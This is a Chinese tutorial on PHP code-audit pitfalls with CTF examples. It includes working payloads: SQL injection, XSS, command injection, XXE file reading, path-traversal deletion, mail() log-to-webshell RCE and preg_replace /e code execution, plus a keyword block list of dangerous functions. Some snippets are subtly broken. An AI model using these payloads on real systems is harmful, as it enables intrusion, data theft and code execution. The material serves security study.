原文链接:PHP代码审计常见漏洞点
关于CMS和CTF中的PHP代码审计部分常见的函数缺陷
in_array函数缺陷
- class Challenge {
- const UPLOAD_DIRECTORY = './solutions/';
- private $file;
- private $whitelist;
- public function __construct($file) {
- $this->file = $file;
- $this->whitelist = range(1, 24);
- }
- public function __destruct() {
- if (in_array($this->file['name'], $this->whitelist)) {
- move_uploaded_file(
- $this->file['tmp_name'],
- self::UPLOAD_DIRECTORY . $this->file['name']
- );
- }
- }
- }
- $challenge = new Challenge($_FILES['solution']);
复制代码 我们要注意到的漏洞位置是
- (1) $this->whitelist = range(1, 24);
- (2) if (in_array($this->file['name'], $this->whitelist)) {
- move_uploaded_file(
- $this->file['tmp_name'],
- self::UPLOAD_DIRECTORY . $this->file['name']
- );
复制代码
(1)这里判断文件名是否存在于1~24之间 (2)检测上传的文件名是否通过$this->whitelist = range(1, 24);的检测 我们具体看一下in_array()函数的解析 - 定义和用法
- in_array() 函数搜索数组中是否存在指定的值
- 语法
- bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
- 参数 描述
- needle 必需。规定要在数组搜索的值。
- haystack 必需。规定要搜索的数组。
- strict 可选。如果该参数设置为 TRUE,则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。
- 返回值: 如果在数组中找到值则返回 TRUE,否则返回 FALSE。
复制代码
这里因为使用了in_array函数,但是并没有使用函数的第三个参数,也就是说没有对两个变量的类型进行检测,所以如果我们上传文件 7shell.php,会被转化为数字7,导致通过检测,成功上传木马文件 CTF题型 - //index.php
- <?php
- include 'config.php';
- $conn = new mysqli($servername, $username, $password, $dbname);
- if ($conn->connect_error) {
- die("连接失败: ");
- }
-
- $sql = "SELECT COUNT(*) FROM users";
- $whitelist = array();
- $result = $conn->query($sql);
- if($result->num_rows > 0){
- $row = $result->fetch_assoc();
- $whitelist = range(1, $row['COUNT(*)']);
- }
-
- $id = stop_hack($_GET['id']);
- $sql = "SELECT * FROM users WHERE id=$id";
-
- if (!in_array($id, $whitelist)) {
- die("id $id is not in whitelist.");
- }
-
- $result = $conn->query($sql);
- if($result->num_rows > 0){
- $row = $result->fetch_assoc();
- echo "<center><table border="1">";
- foreach ($row as $key => $value) {
- echo "<tr><td><center>$key</center></td><br>";
- echo "<td><center>$value</center></td></tr><br>";
- }
- echo "</table></center>";
- }
- else{
- die($conn->error);
- }
-
- ?>
复制代码- //config.php
- <?php
- $servername = "localhost";
- $username = "fire";
- $password = "fire";
- $dbname = "day1";
-
- function stop_hack($value){
- $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
- $back_list = explode("|",$pattern);
- foreach($back_list as $hack){
- if(preg_match("/$hack/i", $value))
- die("$hack detected!");
- }
- return $value;
- }
复制代码- # 搭建CTF环境使用的sql语句
- create database day1;
- use day1;
- create table users (
- id int(6) unsigned auto_increment primary key,
- name varchar(20) not null,
- email varchar(30) not null,
- salary int(8) unsigned not null );
-
- INSERT INTO users VALUES(1,'Lucia','Lucia@hongri.com',3000);
- INSERT INTO users VALUES(2,'Danny','Danny@hongri.com',4500);
- INSERT INTO users VALUES(3,'Alina','Alina@hongri.com',2700);
- INSERT INTO users VALUES(4,'Jameson','Jameson@hongri.com',10000);
- INSERT INTO users VALUES(5,'Allie','Allie@hongri.com',6000);
-
- create table flag(flag varchar(30) not null);
- INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');
复制代码 我们主要看这个函数
- function stop_hack($value){
- $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
- $back_list = explode("|",$pattern);
- foreach($back_list as $hack){
- if(preg_match("/$hack/i", $value))
- die("$hack detected!");
- }
- return $value;
- }
复制代码
这里使用stop_hack过滤一些危险的函数 看到给一个GET请求可控 - $id = stop_hack($_GET['id']);
- $sql = "SELECT * FROM users WHERE id=$id";
-
- if (!in_array($id, $whitelist)) {
- die("id $id is not in whitelist.");
- }
复制代码
通过GET的id,通过stop_hack过滤后拼接在sql语句中查询 这里通过报错注入即可得到Flag and (select updatexml(1,make_set(3,'~',(select flag from flag)),1)) - 漏洞原因:
- 使用不安全的in_array,并且没有开启第三个检测参数类型,导致通过检测,形成任意文件上传
复制代码
filter_var函数缺陷
- // composer require "twig/twig"
- require 'vendor/autoload.php';
- class Template {
- private $twig;
- public function __construct() {
- $indexTemplate = '<img src="https://loremflickr.com/320/240">' .
- '<a href>Next slide »</a>';
- // Default twig setup, simulate loading
- // index.html file from disk
- $loader = new Twig\Loader\ArrayLoader([
- 'index.html' => $indexTemplate
- ]);
- $this->twig = new Twig\Environment($loader);
- }
- public function getNexSlideUrl() {
- $nextSlide = $_GET['nextSlide'];
- return filter_var($nextSlide, FILTER_VALIDATE_URL);
- }
- public function render() {
- echo $this->twig->render(
- 'index.html',
- ['link' => $this->getNexSlideUrl()]
- );
- }
- }
- (new Template())->render();
复制代码这里是一段PHP的模板引擎Twig,使用的是escape和filter_var两个过滤方法 但是这里并不是绝对的安全,因为escape过滤器的本质是通过PHP内置函数htmlspecialchars实现的 我们看一下函数的定义
- 定义和用法
- htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
- 预定义的字符是:
- & (和号)成为 &
- " (双引号)成为 "
- ' (单引号)成为 '
- < (小于)成为 <
- > (大于)成为 >
- string htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string$encoding = ini_get("default_charset") [, bool $double_encode = TRUE ]]] )
- 提示:要把特殊的 HTML 实体转换回字符,请使用 htmlspecialchars_decode() 函数。
复制代码 例如
- <?php
- $str = "This is some <b>bold</b> text.";
- echo htmlspecialchars($str);
- ?>
复制代码
输出在页面上
- <!DOCTYPE html>
- <html>
- <body>
- This is some <b>bold</b> text.
- </body>
- </html>
复制代码
filter_var函数过滤nextSlide变量 并且使用FILTER_VALIDATE_URL过滤器判断是否为一个合法的url - filter_var :(PHP 5 >= 5.2.0, PHP 7)
- 功能 :使用特定的过滤器过滤一个变量
- 定义 :mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
复制代码 这里就可以使用JavaScript的伪协议来xss攻击
- ?url=javascript://comment%250aalert(1)
复制代码
这里的//表示这注释掉后面的所有内容,但是对%进行编码后编为%25 当解码时会构造为%0a进行换行,alert函数变为第二行执行,点击标签即可触发xss CTF题型 - // index.php
- <?php
- $url = $_GET['url'];
- if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
- $site_info = parse_url($url);
- if(preg_match('/sec-redclub.com$/',$site_info['host'])){
- exec('curl "'.$site_info['host'].'"', $result);
- echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
- <center><textarea rows='20' cols='90'>";
- echo implode(' ', $result);
- }
- else{
- die("<center><h1>Error: Host not allowed</h1></center>");
- }
-
- }
- else{
- echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
- <center><h3>For example:?url=http://sec-redclub.com</h3></center>";
- }
复制代码- // f1agi3hEre.php
- <?php
- $flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
- ?>
复制代码 虽然进行了过滤,但是依然可以构造危险函数获取flag
- syst1m://"|ls;"sec-redclub.com
- syst1m://"|cat<f1agi3hEre.php;"sec-redclub.com
复制代码
== 与 === 弱类型绕过
- === 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
- == 在进行比较的时候,会先将字符串类型转化成相同,再比较
- (如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行)
复制代码 例如
- <?php
- var_dump("admin" == 0); //true
- var_dump("1admin"== 1); //true
- var_dump("admin1"== 1); //false
- var_dump("admin1"== 0); //true
- var_dump("0e123456"=="0e4456789"); //true
- ?>
复制代码
根据上面的可以看到 admin为字符型,与0进行比较时,强制转换类型为数字型,变成 0,导致返回True 同理1admin会变成1,而admin1则为0 "0e123456"=="0e456789"相互比较的时候,会将0e这类字符串识别为科学计数法的数字,0的无论多少次方都是零,所以相等 - <?php
- $test=1 + "10.5"; //$test=11.5(float)
- $test=1+"-1.3e3"; //$test=-1299(float)
- $test=1+"bob-1.3e3"; //$test=1(int)
- $test=1+"2admin"; //$test=3(int)
- $test=1+"admin2"; //$test=1(int)
- ?>
复制代码
通过这里也可以更好的理解 CTF题型 md5(hash)弱类型绕过- <?php
- if (isset($_GET['Username']) && isset($_GET['password'])) {
- $logined = true;
- $Username = $_GET['Username'];
- $password = $_GET['password'];
- if (!ctype_alpha($Username)) {$logined = false;}
- if (!is_numeric($password) ) {$logined = false;}
- if (md5($Username) != md5($password)) {$logined = false;}
- if ($logined){
- echo "successful";
- }else{
- echo "login failed!";
- }
- }
- ?>
复制代码
输入一个字符串和数字类型,并且他们的md5值相等,就可以成功执行下一步语句 所以只要让md5后的值开头含有0e则会转换为0 - md5('240610708') ------> 0e462097431906509019562988736854
- md5('QNKCDZO') ------> 0e830400451993494058024219903391
复制代码 md5('240610708') == md5('QNKCDZO')
这样即可绕过检测
- # 部分的MD5绕过方式
- QNKCDZO
- 0e830400451993494058024219903391
- s878926199a
- 0e545993274517709034328855841020
-
- s155964671a
- 0e342768416822451524974117254469
-
- s214587387a
- 0e848240448830537924465865611904
-
- s214587387a
- 0e848240448830537924465865611904
-
- s878926199a
- 0e545993274517709034328855841020
-
- s1091221200a
- 0e940624217856561557816327384675
-
- s1885207154a
- 0e509367213418206700842008763514
复制代码 json绕过
- <?php
- if (isset($_POST['message'])) {
- $message = json_decode($_POST['message']);
- $key ="*********";
- if ($message->key == $key) {
- echo "flag";
- }
- else {
- echo "fail";
- }
- }
- else{
- echo "~~~~";
- }
- ?>
复制代码
这里同样也看到了 ==符号 不知道key的值,但是我们知道key为字符 所以绕过只需要 0=='admin'即可绕过 payload: message={"key":0} strcmp漏洞绕过 php -v <5.3- <?php
- $password="***************"
- if(isset($_POST['password'])){
- if (strcmp($_POST['password'], $password) == 0) {
- echo "Right!!!login success";n
- exit();
- } else {
- echo "Wrong password..";
- }
- ?>
复制代码
strcmp是比较两个字符串,如果str1<str2 则返回<0 如果str1大于str2返回>0 如果两者相等 返回0 那我们只需要传入数组password[]=xxx就可以绕过了 MD5数组绕过- <?
- include_once “flag.php”;
- ini_set(“display_errors”, 0);
- $str = strstr($_SERVER[‘REQUEST_URI’], ‘?’);
- $str = substr($str,1);
- $str = str_replace(‘key’,”,$str);
- parse_str($str);
- echo md5($key1);
- echo md5($key2);
- if(md5($key1) == md5($key2) && $key1 !== $key2){
- echo $flag.”取得flag”;
- }
- ?>
复制代码
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
实例化任意对象漏洞
- function __autoload($className) { //自动加载
- include $className;
- }
- $controllerName = $_GET['c'];
- $data = $_GET['d']; //获取get的c与d作为类名与参数
- if (class_exists($controllerName)) {
- $controller = new $controllerName($data['t'], $data['v']);
- $controller->render();
- } else {
- echo 'There is no page with this name';
- }
- class HomeController {
- private $template;
- private $variables;
- public function __construct($template, $variables) {
- $this->template = $template;
- $this->variables = $variables;
- }
- public function render() {
- if ($this->variables['new']) {
- echo 'controller rendering new response';
- } else {
- echo 'controller rendering old response';
- }
- }
- }
复制代码
- 如果存在如果程序存在 __autoload函数,class_exists函数就会自动调用方法
- payload : /?c=../../../../etc/passwd
复制代码 CTF题型
- <?php
- class NotFound{
- function __construct()
- {
- die('404');
- }
- }
- spl_autoload_register(
- function ($class){
- new NotFound();
- }
- );
- $classname = isset($_GET['name']) ? $_GET['name'] : null;
- $param = isset($_GET['param']) ? $_GET['param'] : null;
- $param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
- if(class_exists($classname)){
- $newclass = new $classname($param,$param2);
- var_dump($newclass);
- foreach ($newclass as $key=>$value)
- echo $key.'=>'.$value.'<br>';
- }
复制代码- 当class_exists时,调用autoload方法,但是autoload方法不存在,新建了一个spl_autoload_register方法,类似__autoload方法
- 列出文件(GlobIterator类)
- public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )
- 第一个参数为要搜索的文件名,第二个参数为第二个参数为选择文件的哪个信息作为键名
- payload : http://127.0.0.1:8888/index.php?name=GlobIterator¶m=./*.php¶m2=0
复制代码
读取flag
- http://127.0.0.1:8888/index.php?name=SimpleXMLElement¶m=%3C?xml%20version=%221.0%22?%3E%3C!DOCTYPE%20ANY%20[%3C!ENTITY%20xxe%20SYSTEM%20%22php://filter/read=convert.base64-encode/resource=f1agi3hEre.php%22%3E]%3E%3Cx%3E%26xxe;%3C/x%3E¶m2=2
复制代码
strpos使用不当引发漏洞
- class Login {
- public function __construct($user, $pass) {
- $this->loginViaXml($user, $pass);
- }
- public function loginViaXml($user, $pass) {
- if (
- (!strpos($user, '<') || !strpos($user, '>')) &&
- (!strpos($pass, '<') || !strpos($pass, '>'))
- ) {
- $format = '<?xml version="1.0"?>' .
- '<user v="%s"/><pass v="%s"/>';
- $xml = sprintf($format, $user, $pass);
- $xmlElement = new SimpleXMLElement($xml);
- // Perform the actual login.
- $this->login($xmlElement);
- }
- }
- }
- new Login($_POST['username'], $_POST['password']);
复制代码- strpos定义
- 主要是用来查找字符在字符串中首次出现的位置。
- 查找代码中是否含有<与>的特殊符号,strpos在没找到指定字符时会返回flase,如果第一个字符找到就返回0,0的取反为1,就可以注入xml进行注入了
- 注入代码
- user=<"><injected-tag property="&pass=<injected-tag>
复制代码
escapeshellarg与escapeshellcmd使用不当
- scapeshellcmd: 除去字串中的特殊符号
- escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数
复制代码- class Mailer {
- private function sanitize($email) {
- if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
- return '';
- }
- return escapeshellarg($email);
- }
- public function send($data) {
- if (!isset($data['to'])) {
- $data['to'] = 'none@ripstech.com';
- } else {
- $data['to'] = $this->sanitize($data['to']);
- }
- if (!isset($data['from'])) {
- $data['from'] = 'none@ripstech.com';
- } else {
- $data['from'] = $this->sanitize($data['from']);
- }
- if (!isset($data['subject'])) {
- $data['subject'] = 'No Subject';
- }
- if (!isset($data['message'])) {
- $data['message'] = '';
- }
- mail($data['to'], $data['subject'], $data['message'],
- '', "-f" . $data['from']);
- }
- }
- $mailer = new Mailer();
- $mailer->send($_POST);
复制代码 新建一个MAil类发送邮件(php内置寒湖是mail)
- bool mail (
- string $to , 接收人
- string $subject , 邮件标题
- string $message [, 征文
- string $additional_headers [, 额外头部
- string $additional_parameters ]] 额外参数
- )
复制代码 (linux额外参数)
- -O option = value
- QueueDirectory = queuedir 选择队列消息
- -X logfile
- 这个参数可以指定一个目录来记录发送邮件时的详细日志情况。
- -f from email
- 这个参数可以让我们指定我们发送邮件的邮箱地址。
复制代码 例如
- <?php
- $to = 'alala@qq.com';
- $subject = 'hello';
- $message = '<?php phpinfo()?>';
- $headers = 'CC: somebodyelse@qq.com'
- $options = '-OQueueDirectory=/tmp -X /var/www/html/rce.php';
- main($to, $#subject, $message, $headers, $options);
- ?>
复制代码 运行结果
- 17220 <<< To: Alice@example.com
- 17220 <<< Subject: Hello Alice!
- 17220 <<< X-PHP-Originating-Script: 0:test.php
- 17220 <<< CC: somebodyelse@example.com
- 17220 <<<
- 17220 <<< <?php phpinfo(); ?>
- 17220 <<< [EOF]
复制代码- filter_var()问题(FILTER_VALIDATE_EMAIL)
- ilter_var() 问题在于,我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗 filter_val() 使其认为我们仍然在双引号中,这样我们就可以绕过检测
- 如 :”aaa’aaa”@example.com
复制代码
escapeshellcmd()和escapeshellarg()
这两个函数会造成特殊字符逃逸
- <?php
- $param = ""'127.0.0.1' -v -d a=1";
- $a = escapeshellcmd($param);
- $b = escapeshellarg($a);
- $cmd = "curl".$b;
- var_dump($a)."\n";
- var_dump($b)."\n";
- var_dump($cmd)."\n";
- system($cmd)
- ?>
复制代码 输出看一下
- strings(21) "127.0.0.1\' -v -d a=1"
- strings(26) "'127.0.0.1\'\'' -v -d a=1'"
- strings(30) "curl'127.0.0.1\'\'' -v -d a=1"
- sh: curl127.0.0.1\' -v -d a=1: comand nir found'
复制代码
逃逸过程分析分析一下
- 传入127.0.0.1' -v -d a=1,escapeshellarg首先进行转义,处理为'127.0.0.1'\'' -v -d a=1',接着escapeshellcmd处理,处理结果为'127.0.0.1'\'' -v -d a=1\',\ 被解释成了 \ 而不再是转义字符
复制代码
正则使用不当导致的路径穿越问题
- class TokenStorage {
- public function performAction($action, $data) {
- switch ($action) {
- case 'create':
- $this->createToken($data);
- break;
- case 'delete':
- $this->clearToken($data);
- break;
- default:
- throw new Exception('Unknown action');
- }
- }
- public function createToken($seed) {
- $token = md5($seed);
- file_put_contents('/tmp/tokens/' . $token, '...data');
- }
- public function clearToken($token) {
- $file = preg_replace("/[^a-z.-_]/", "", $token);
- unlink('/tmp/tokens/' . $file);
- }
- }
- $storage = new TokenStorage();
- $storage->performAction($_GET['action'], $_GET['data']);
复制代码
preg_replace(函数执行一个正则表达式的搜索和替换)
payload $action =delete$data = ../../config.php
preg_replace函数之命令执行
- header("Content-Type: text/plain");
- function complexStrtolower($regex, $value) {
- return preg_replace(
- '/(' . $regex . ')/ei',
- 'strtolower("\\1")',
- $value
- );
- }
- foreach ($_GET as $regex => $value) {
- echo complexStrtolower($regex, $value) . "\n";
- }
复制代码
preg_replace(函数执行一个正则表达式的搜索和替换)
- mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
- $pattern 存在 /e 模式修正符,允许代码执行
- /e 模式修正符,是 preg_replace() 将 $replacement 当做php代码来执行
- 将GET请求传过来的参数通过complexStrtolower函数执行,preg_replace函数存在e修正符
复制代码
payload \S*=${phpinfo()}研究文章(查看原文)
|